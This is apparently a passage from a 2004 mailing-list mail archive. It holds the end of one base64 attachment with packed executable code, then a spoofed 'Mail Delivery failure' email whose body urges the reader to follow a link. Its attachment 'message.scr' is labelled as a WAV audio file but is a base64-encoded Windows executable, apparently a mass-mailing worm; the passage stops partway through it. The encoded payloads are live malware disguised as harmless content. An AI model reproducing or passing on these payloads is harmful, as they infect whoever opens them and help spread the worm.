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 /0BnTiRqkB36zcClde8/3P9OIjU8j+Lmf6HbKFXTAjrjQOyZMMkhxn5Pv7z6mKRSPsfGf/9S TGEM5SFpBveLpzSNsv42znXHFgKux8o7Y988wJpP7ALynwERegh1b3VveA4efgyMwXhFdbVC lybCg1abyU9fUUZtmSONnTMYqZnQjCOc6UsSISYAeO0YweBPIPwQp8qvC0A4Iw6qEAjBiWYc F9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC9zv5ThE1c+hq 9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uOEwYY0NJ75CnO tudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAABAAQA6AIAAAEA KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBoV1gAAAAAAICA gAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIi IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_0016----=_NextPart_000_0016-- From f.walzog@verizon.net Wed Apr 21 16:03:09 2004 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LK36s14678 for ; Wed, 21 Apr 2004 16:03:06 -0400 Message-Id: <200404212003.i3LK36s14678@gwyn.tux.org> From: f.walzog@verizon.net To: xemacs-beta-archive@xemacs.org Subject: Mail Delivery (failure xemacs-beta-archive@xemacs.org) Date: Wed, 21 Apr 2004 15:46:24 -0700 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10" ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.xemacs.org/inbox/xemacs-beta-archive/read.php?sessionid-12981
 
------=_NextPart_001_001C_01C0CA80.6B015D10-- ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: audio/x-wav; name="message.scr" Content-Transfer-Encoding: base64 Content-ID: <031401Mfdab4$3f3dL780$73387018@57W81fa70Re> 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 